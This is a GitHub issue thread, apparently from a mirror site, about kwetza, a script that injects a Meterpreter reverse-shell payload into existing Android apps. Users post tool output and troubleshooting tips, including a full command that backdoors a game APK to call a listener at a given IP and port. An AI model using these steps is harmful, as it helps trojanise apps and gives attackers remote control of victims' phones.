sensepost / kwetza

Python script to inject existing Android applications with a Meterpreter payload.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS

las12xc opened this issue · comments

                                       _                  _              ___    ___  
                                      | |                | |            |__ \  / _ \ 

_ __ ___ _ __ ___ _ __ ___ _ __ ___ | | ____ | | ______ _ ) || | | |
| '
_ \| '_ _ | '
_ \| '_ _ \ | |/ /\ \ /\ / / _ \ | / ` | / / | | | |
| | | | | | | | | | | | | | | | | | | | | | < \ V V / _/ | / / (
| | / /
| || |
|
| || ||| || ||| || ||| || || ||_\ _/_/ _
|_/_,| |()/

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 192.168.0.104
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING TCP COMMS
[*] ANALYZING ANDROID MANIFEST
[DEBUG] Attempting to find MAIN
[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS
please help me

Open kwetza.py script, edit:
#NOW WE NEED TO DECOMPILE THE APPLICATION
command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]]
p = subprocess.Popen(command, stdout=subprocess.PIPE)
result = p.communicate()[0]
(remove option -f and -r parameters)

!!! ERROR IN 'injectCrazyPermissions' method
list index out of range
@rickjr I did as you said!

add AssistActivity after yes or no
sample: python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity

add AssistActivity after yes or no
sample: python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity

It works!

[] DECOMPILING TARGET APK
[+] ENDPOINT IP: 192.168.0.104
[+] ENDPOINT PORT: 4444
Destination directory (/root/Desktop/kwetza-master/RandomChat) already exists. Use -f switch if you want to overwrite it.
[+] APKTOOL DECOMPILED SUCCESS
[
] BYTING HTTPS COMMS
[] ANALYZING ANDROID MANIFEST
[
] USING CUSTOM ACTIVITY: AssistActivity
[*] PREPARING PAYLOADS
!!! ERROR IN 'readPayloads' method
[Errno 2] No such file or directory: '/root/Desktop/kwetza-master/RandomChat/smali/AssistActivity.smali'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

NOT WORKING AT ALL ANY OTHER ALTERNATIVE???

Open kwetza.py script, edit:
#NOW WE NEED TO DECOMPILE THE APPLICATION
command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]]
p = subprocess.Popen(command, stdout=subprocess.PIPE)
result = p.communicate()[0]
(remove option -f and -r parameters)

i already did it but still not working

root@kali:/Desktop/kwetza# python kwetza.py install
File "/root/Desktop/kwetza/kwetza.py", line 17
print "BYTING TCP COMMS"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("BYTING TCP COMMS")?
root@kali:
/Desktop/kwetza#

i have problem have can i fix?